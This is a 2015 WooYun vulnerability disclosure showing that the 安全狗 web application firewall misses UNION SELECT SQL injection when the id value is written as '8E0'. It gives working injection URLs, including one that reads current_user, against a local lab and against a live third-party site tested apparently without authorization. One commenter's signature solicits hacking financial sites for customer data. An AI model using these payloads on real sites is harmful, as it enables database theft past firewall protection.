当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0103053

漏洞标题：网站安全狗最新版防护规则绕过

相关厂商：安全狗

漏洞作者： HackBraid

提交时间：2015-03-23 00:19

修复时间：2015-06-26 00:21

公开时间：2015-06-26 00:21

漏洞类型：非授权访问/认证绕过

危害等级：高

自评Rank：15

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-03-23： 细节已通知厂商并且等待厂商处理中
2015-03-28： 厂商主动忽略漏洞，细节向第三方安全合作伙伴开放
2015-05-22： 细节向核心白帽子及相关领域专家公开
2015-06-01： 细节向普通白帽子公开
2015-06-11： 细节向实习白帽子公开
2015-06-26： 细节向公众公开

简要描述：

RT

详细说明：

测试了网站安全狗APACHE版和IIS版
1.安全狗官网下载网站安全狗（APACHE）最新版为V3.1.09924，网马库版本为：2015-02-28
测试发现存在一处防护规则绕过。

a1.jpg


2.IIS版采用http://bbs.siteserver.cn/
测试发现网站安全狗最新版存在该防护规则绕过~

漏洞证明：

一、本地测试网站安全狗（APACHE）最新版为V3.1.09924
1.首先测试后边跟union select 1,2,3,4,5发现被拦截了

1.jpg


2.id换为8E0就绕过了

http://localhost/74/wap/wap-company-show.php?id=8E0union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43#


1.jpg


3.查看当前用户：

http://192.168.142.128/74/wap/wap-company-show.php?id=8E0union%20select%201,2,3,current_user,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,44#


2.jpg


二、测试IIS版http://bbs.siteserver.cn/
1.http://bbs.siteserver.cn//siteserver/platform/background_dbSqlQuery.aspx?id=1%20and%201=1

1.jpg


2.同样id换为8E0就绕过了
http://bbs.siteserver.cn//siteserver/platform/background_dbSqlQuery.aspx?id=8E0union%20select%201,2,3,4,5

3.jpg

修复方案：

id=8E0修复

版权声明：转载请注明来源 HackBraid@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2015-06-26 00:21

厂商回复：

漏洞Rank：10 (WooYun评价)

最新状态：

暂无

漏洞评价：

评论

  1. 2015-03-23 01:09 | 流星warden ( 实习白帽子 | Rank:54 漏洞数:8 | The quieter you become,the more you are ...)

    你这是增加日站难度啊。。。。。。

  2. 2015-03-23 01:09 | 小新新 ( 路人 | Rank:0 漏洞数:1 )

    你这是增加我们的日站难度啊

  3. 2015-03-23 08:23 | onpu ( 实习白帽子 | Rank:64 漏洞数:19 | 静坐常思己过，闲谈莫论人非)

    你这是增加我们的日站难度啊

  4. 2015-03-23 08:41 | 羽林 ( 路人 | Rank:4 漏洞数:1 | 不断地学习，不断地进步，充实的生活才不虚...)

    你这是增加我们的日站难度啊

  5. 2015-03-23 09:13 | Zombiecc ( 路人 | Rank:0 漏洞数:2 | just for fun.)

    你这是增加我们的日站难度啊

  6. 2015-03-23 09:29 | №詠メ恒№ ( 路人 | Rank:15 漏洞数:2 | 我是祖国的花朵，不服来屠杀我阿！)

    你这是增加我们的日站难度啊

  7. 2015-03-23 10:19 | 杨聪 ( 路人 | Rank:0 漏洞数:1 | 新手上路，多多照顾，)

    你这是增加我们的日站难度啊

  8. 2015-03-23 10:20 | HackBraid 认证白帽子 ( 核心白帽子 | Rank:1545 漏洞数:260 | ...........................................)

    你这是增加我们的日站难度啊

  9. 2015-03-23 10:36 | 小胖纸 ( 实习白帽子 | Rank:37 漏洞数:12 | 找人拿指定金融期货原油网站，只要客户资料...)

    你这是增加我们的日站难度啊

  10. 2015-03-23 10:46 | xy小雨 ( 普通白帽子 | Rank:171 漏洞数:50 | 成为海贼王的男人)

    你这是增加我们的日站难度啊

  11. 2015-03-23 10:51 | Looke ( 普通白帽子 | Rank:619 漏洞数:93 | 可顺势而为，何必逆水行舟)

    你这是增加我们的日站难度啊

  12. 2015-03-23 11:01 | 小豹 ( 实习白帽子 | Rank:33 漏洞数:8 | 一个人的寂寞，整个群的错234236)

    你这是增加我们的日站难度啊

  13. 2015-03-23 11:25 | smarttang ( 路人 | 还没有发布任何漏洞 | 乌云两个帐号都是我的...t.qq.com/mojige...)

    你这是增加我们的日站难度啊

  14. 2015-03-23 16:38 | foxhack ( 路人 | Rank:24 漏洞数:4 | 低调求发展)

    你这是增加我们的日站难度啊

  15. 2015-03-23 17:05 | Mayter ( 实习白帽子 | Rank:36 漏洞数:10 | 没事瞎搞。)

    你这是增加我们的日站难度啊

  16. 2015-03-23 18:30 | SuY1n9 ( 实习白帽子 | Rank:46 漏洞数:7 | 1)

    你这是增加我们的日站难度啊

  17. 2015-03-23 20:34 | 付弘雪 ( 路人 | Rank:16 漏洞数:10 | 希望和业内各位大牛多多交流)

    你这是增加我们的日站难度啊

  18. 2015-03-25 22:59 | 不懂就问的小菜 ( 路人 | Rank:0 漏洞数:1 | 注入)

    你这是增加我们的日站难度啊

  19. 2015-04-01 23:42 | 李宏 ( 路人 | Rank:13 漏洞数:3 | 白天岂懂夜的黑)

    你这是增加我们的日站难度啊

  20. 2015-04-07 23:57 | 小海 ( 路人 | Rank:0 漏洞数:2 | 疯狂闯天下)

    你这是增加我们的日站难度啊

  21. 2015-04-11 23:31 | Mr.R ( 实习白帽子 | Rank:52 漏洞数:14 | 求大神带我飞 qq2584110147)

    你这是增加我们的日站难度啊

  22. 2015-06-26 08:04 | kav ( 路人 | Rank:0 漏洞数:3 )

    你这是增加我们的日站难度啊

  23. 2015-06-26 08:11 | 夏殇 ( 路人 | Rank:30 漏洞数:21 | 不忘初心，方得始终。)

    为什么呢？

  24. 2015-06-26 09:08 | 大物期末不能挂 ( 普通白帽子 | Rank:132 漏洞数:23 | 1.一个学渣，只求每门都不挂2.想把漏洞提...)

    @夏殇 http://zone.wooyun.org/content/16772

  25. 2015-06-26 09:21 | xyzy ( 路人 | 还没有发布任何漏洞 | 无)

    你这是增加我们的日站难度啊

  26. 2015-06-26 09:30 | HackBraid 认证白帽子 ( 核心白帽子 | Rank:1545 漏洞数:260 | ...........................................)

    @夏殇 @大物期末不能挂 这里的是current_user可以绕过，你们可以看看还有其它的这种类似的能绕过的方式没

  27. 2015-06-26 09:39 | 新手上路 ( 路人 | Rank:0 漏洞数:1 | 小白帽子)

    你这是增加我们的日站难度啊

  28. 2015-06-26 10:58 | winalva ( 路人 | Rank:9 漏洞数:3 | rank是什么？)

    你这是增加我们的日站难度啊

  29. 2015-06-26 13:02 | 夏殇 ( 路人 | Rank:30 漏洞数:21 | 不忘初心，方得始终。)

    @大物期末不能挂 我看看，谢谢

  30. 2015-06-26 22:43 | 黑色天使 ( 路人 | Rank:4 漏洞数:1 | 爱生活，爱编程。)

    你这是增加我们的日站难度啊

  31. 2015-07-07 11:40 | 花里浪 ( 路人 | Rank:2 漏洞数:1 | 初入白帽。)

    你这是增加我们的日站难度啊